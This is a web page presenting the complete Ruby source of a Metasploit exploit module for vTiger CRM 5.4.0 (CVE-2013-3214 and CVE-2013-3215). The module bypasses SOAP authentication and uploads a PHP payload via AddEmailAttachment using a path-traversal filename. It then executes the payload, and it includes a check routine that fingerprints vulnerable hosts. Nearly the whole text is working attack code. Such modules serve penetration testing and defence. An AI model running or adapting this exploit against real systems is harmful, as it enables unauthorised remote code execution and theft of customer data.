扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include REXML include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload', 'Description'=> %q{ vTiger CRM allows an user to bypass authentication when requesting SOAP services. In addition, arbitrary file upload is possible through the AddEmailAttachment SOAP service. By combining both vulnerabilities an attacker can upload and execute PHP code. This module has been tested successfully on vTiger CRM v5.4.0 over Ubuntu 10.04 and Windows 2003 SP2. }, 'Author' => [ 'Egidio Romano', # Vulnerability discovery 'juan vazquez' # msf module ], 'License'=> MSF_LICENSE, 'References' => [ [ 'CVE', '2013-3214' ], [ 'CVE', '2013-3215' ], [ 'OSVDB', '95902' ], [ 'OSVDB', '95903' ], [ 'BID', '61558' ], [ 'BID', '61559' ], [ 'EDB', '27279' ], [ 'URL', 'http://karmainsecurity.com/KIS-2013-07' ], [ 'URL', 'http://karmainsecurity.com/KIS-2013-08' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload'=> { # Arbitrary big number. The payload is sent base64 encoded # into a POST SOAP request 'Space' => 262144, # 256k 'DisableNops' => true }, 'Targets' => [ [ 'vTigerCRM v5.4.0', { } ] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Mar 26 2013')) register_options( [ OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']) ], self.class) end def check test_one = check_email_soap("admin", rand_text_alpha(4 + rand(4))) res = send_soap_request(test_one) unless res and res.code == 200 and res.body.to_s =~ /<return xsi:nil="true" xsi:type="xsd:string"\/>/ return Exploit::CheckCode::Unknown end test_two = check_email_soap("admin") res = send_soap_request(test_two) if res and res.code == 200 and (res.body.blank? or res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit file_name = rand_text_alpha(rand(10)+6) + '.php' php = %Q|<?php #{payload.encoded} ?>| soap = add_attachment_soap(file_name, php) res = send_soap_request(soap) print_status("#{peer} - Uploading payload...") if res and res.code == 200 and res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/ print_good("#{peer} - Upload successfully uploaded") register_files_for_cleanup(file_name) else fail_with(Failure::Unknown, "#{peer} - Upload failed") end print_status("#{peer} - Executing payload...") send_request_cgi({'uri' => normalize_uri(target_uri.path, 'soap', file_name)}, 0) end def add_attachment_soap(file_name, file_data) xml = Document.new xml.add_element( "soapenv:Envelope", { 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", 'xmlns:crm' => "http://www.vtiger.com/products/crm" }) xml.root.add_element("soapenv:Header") xml.root.add_element("soapenv:Body") body = xml.root.elements[2] body.add_element( "crm:AddEmailAttachment", { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }) crm = body.elements[1] crm.add_element("emailid", {'xsi:type' => 'xsd:string'}) crm.add_element("filedata", {'xsi:type' => 'xsd:string'}) crm.add_element("filename", {'xsi:type' => 'xsd:string'}) crm.add_element("filesize", {'xsi:type' => 'xsd:string'}) crm.add_element("filetype", {'xsi:type' => 'xsd:string'}) crm.add_element("username", {'xsi:type' => 'xsd:string'}) crm.add_element("session", {'xsi:type' => 'xsd:string'}) crm.elements['emailid'].text = rand_text_alpha(4+rand(4)) crm.elements['filedata'].text = "MSF_PAYLOAD" crm.elements['filename'].text = "MSF_FILENAME" crm.elements['filesize'].text = file_data.length.to_s crm.elements['filetype'].text = "php" crm.elements['username'].text = rand_text_alpha(4+rand(4)) xml_string = xml.to_s xml_string.gsub!(/MSF_PAYLOAD/, Rex::Text.encode_base64(file_data)) xml_string.gsub!(/MSF_FILENAME/, "../../../../../../#{file_name}") return xml_string end def check_email_soap(user_name = "", session = "") xml = Document.new xml.add_element( "soapenv:Envelope", { 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", 'xmlns:crm' => "http://www.vtiger.com/products/crm" }) xml.root.add_element("soapenv:Header") xml.root.add_element("soapenv:Body") body = xml.root.elements[2] body.add_element( "crm:CheckEmailPermission", { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }) crm = body.elements[1] crm.add_element("username", {'xsi:type' => 'xsd:string'}) crm.add_element("session", {'xsi:type' => 'xsd:string'}) crm.elements['username'].text = user_name crm.elements['session'].text = session xml.to_s end def send_soap_request(soap_data) res = send_request_cgi({ 'uri'=> normalize_uri(target_uri.path, 'soap', 'vtigerolservice.php'), 'method' => 'POST', 'ctype'=> 'text/xml; charset=UTF-8', 'data' => soap_data }) return res end end |
体验盒子
